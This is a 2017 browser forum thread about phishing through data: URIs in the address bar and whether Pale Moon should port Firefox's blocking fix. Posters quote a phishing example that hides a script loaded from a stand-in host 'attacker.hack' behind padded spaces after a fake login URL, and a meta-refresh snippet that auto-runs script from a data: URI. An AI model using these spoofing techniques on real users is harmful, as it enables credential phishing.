Page 1 of 1

Javascript execution exploit even with everything blocked

Posted: 2017-12-02, 21:10
by dark_moon
(Everything blocked in uMatrix)

With this fixed bug: bug #1331351 (Consider blocking top level window data: URIs) from Firefox 56 this can be solved with the new about:config setting "security.data_uri.block_toplevel_data_uri_navigations" to "true"
Did have Pale Moon included that fix, or will it?

Its not a uMatrix related bug

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-03, 00:15
by joe04
This is an address bar fix to help prevent Gmail phishing schemes. (Read the link in the first bug post.)

How did you conclude this is a JS exploit?

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-03, 09:39
by dark_moon

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-03, 18:47
by joe04
Right, it's malicious JS bundled in a data: blob. I don't consider that a true JS exploit, per se. It's a case of circumventing the normal JS sandboxing via the data: URI scheme, which is what this phishing attack does.

I would agree that if the Mozilla patch could be ported to PM/UXP then that would be a good thing assuming no adverse side effects.

But, overall, not a problem that should cause anyone to lose a wink of sleep. The #1 thing is pay attention to what links you click! That's always the best defense against phishing.

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-03, 19:05
by dark_moon
joe04 wrote:The #1 thing is pay attention to what links you click! That's always the best defense against phishing.
Thats security by obscurity.
How you know the link is secure? How you know the link doesnt use a exploit?
Sure you can use attention but that doesnt help if the browser dont protect you against that.

Also the data:blob even load if you dont allow javascript for the testsite.
Now what?

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-03, 19:14
by joe04
Let's be clear on how these data: URI phishing attacks actually work. From the link:
The way the attack works is that an attacker will send an email to your Gmail account. That email may come from someone you know who has had their account hacked using this technique. It may also include something that looks like an image of an attachment you recognize from the sender.

You click on the image, expecting Gmail to give you a preview of the attachment. Instead, a new tab opens up and you are prompted by Gmail to sign in again. You glance at the location bar and you see accounts.google.com in there. It looks like this….

Image
So what I said before is still true: for phishing, you must pay attention. ANY URL THAT BEGINS WITH data: IS NOT TO BE TRUSTED

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-03, 19:17
by joe04
dark_moon wrote: Sure you can use attention but that doesnt help if the browser dont protect you against that.

Also the data:blob even load if you dont allow javascript for the testsite.
Now what?
Good point, and like I said it would be best to patch PM/UXP for this.

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-03, 20:00
by Moonchild
The patch isn't a fix, because there is nothing to fix XD. (There is no fix for PEBCAK)
All it does is prevent data: URIs from being used in the address bar; it's an OK enhancement if you don't trust your own prowess on the web, and it does reduce potential phishing scenarios (especially because of principal inheritance keeping the state of the opener).
Help with this is welcome -- do note 2 follow-up bugs to the bz bug mentioned: bug #1395948 and bug #1394554
I've opened Issue #1528 to track and solve this enhancement implementation.

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-05, 15:28
by c7rax
joe04 wrote: Image

What this "data:" protocol do and how much it is unsafe?

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-06, 04:46
by gracious1
c7rax wrote:
joe04 wrote: Image
What this "data:" protocol do and how much it is unsafe?
Perhaps this article will help:
Data URi Scheme
It's a way to reduce the number of HTTP requests, e.g. by fetching the style sheet inline, but it can be exploited easily by wrongdoers.

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-06, 20:04
by c7rax
Oh well, and the enough for me was such example:
d@ta:text/html,https://login.yahoo.com/[ LARGE AMOUNT OF SPACES ]<skrypt src="//attacker.hack/opener/mask.skrypt"></skrypt>
to see how unsafe it can be, especially these "large amount of spaces" gives away a true intention of such website.

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-07, 17:08
by joe04
c7rax wrote:Oh well, and the enough for me was such example:
d@ta:text/html,https://login.yahoo.com/[ LARGE AMOUNT OF SPACES ]<skrypt src="//attacker.hack/opener/mask.skrypt"></skrypt>
to see how unsafe it can be, especially these "large amount of spaces" gives away a true intention of such website.
Another good example of a phishing attack using this data: URI.

So if you see anything that starts with data:text/html in your address bar it's a RED FLAG and time to close that tab.

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-08, 02:14
by GrayFace
Clicking? Red flags? You wish!

Code: Select all

<meta http-equiv="refresh" content="0;URL=data:text/html,<script>alert('Oops!')</script>" />
Would execute the script when an infected page loads.

Re: Javascript execution exploit even with everything blocked

Posted: 2017-12-08, 17:49
by joe04
True, the data:URI webpage JS could be anything (including your example snippet), and thus it would be good to patch this little hole in the browser. That's already been discussed in this thread and a Github issue filed.

I should add to my prior post that in the case of phishing emails, also report it to Google, Yahoo, or whoever your email provider is. (Over the years I've seen plenty of botnet spam/phishing emails in my webmail Spam folder, and have flagged the rare few that made it to my Inbox.)